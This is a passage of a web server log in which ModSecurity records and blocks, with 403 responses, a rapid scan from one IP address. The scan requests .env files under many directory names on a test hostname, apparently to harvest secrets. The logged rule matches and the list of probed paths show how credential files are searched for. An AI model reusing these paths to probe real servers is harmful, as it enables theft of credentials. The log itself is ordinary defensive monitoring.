[Thu Feb 26 01:03:17.464813 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZgAAAAA&quot;]
[Thu Feb 26 01:03:17.493192 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/traefik/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZwAAAAA&quot;]
[Thu Feb 26 01:03:17.493456 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZwAAAAA&quot;]
[Thu Feb 26 01:03:17.493620 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZwAAAAA&quot;]
[Thu Feb 26 01:03:17.516160 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sessions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizaAAAAAA&quot;]
[Thu Feb 26 01:03:17.516403 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizaAAAAAA&quot;]
[Thu Feb 26 01:03:17.516565 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizaAAAAAA&quot;]
[Thu Feb 26 01:03:17.533271 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shopware/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjliwAAAAI&quot;]
[Thu Feb 26 01:03:17.533518 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjliwAAAAI&quot;]
[Thu Feb 26 01:03:17.533720 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shopware/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjliwAAAAI&quot;]
[Thu Feb 26 01:03:17.562279 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /simple_server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljAAAAAI&quot;]
[Thu Feb 26 01:03:17.562536 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljAAAAAI&quot;]
[Thu Feb 26 01:03:17.562692 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Simple_server/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljAAAAAI&quot;]
[Thu Feb 26 01:03:17.594199 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site-library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljQAAAAI&quot;]
[Thu Feb 26 01:03:17.594443 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljQAAAAI&quot;]
[Thu Feb 26 01:03:17.594605 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site-library/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljQAAAAI&quot;]
[Thu Feb 26 01:03:17.605181 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizagAAAAA&quot;]
[Thu Feb 26 01:03:17.605408 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizagAAAAA&quot;]
[Thu Feb 26 01:03:17.605560 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizagAAAAA&quot;]
[Thu Feb 26 01:03:17.636512 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljgAAAAI&quot;]
[Thu Feb 26 01:03:17.636735 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljgAAAAI&quot;]
[Thu Feb 26 01:03:17.636900 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljgAAAAI&quot;]
[Thu Feb 26 01:03:17.653688 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shibboleth/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizawAAAAA&quot;]
[Thu Feb 26 01:03:17.653907 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizawAAAAA&quot;]
[Thu Feb 26 01:03:17.654054 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizawAAAAA&quot;]
[Thu Feb 26 01:03:17.676439 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sites/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljwAAAAI&quot;]
[Thu Feb 26 01:03:17.676686 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljwAAAAI&quot;]
[Thu Feb 26 01:03:17.676877 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjljwAAAAI&quot;]
[Thu Feb 26 01:03:17.694588 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizbAAAAAA&quot;]
[Thu Feb 26 01:03:17.694832 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizbAAAAAA&quot;]
[Thu Feb 26 01:03:17.695004 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizbAAAAAA&quot;]
[Thu Feb 26 01:03:17.730566 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitestatic/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkAAAAAI&quot;]
[Thu Feb 26 01:03:17.730816 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlkAAAAAI&quot;]
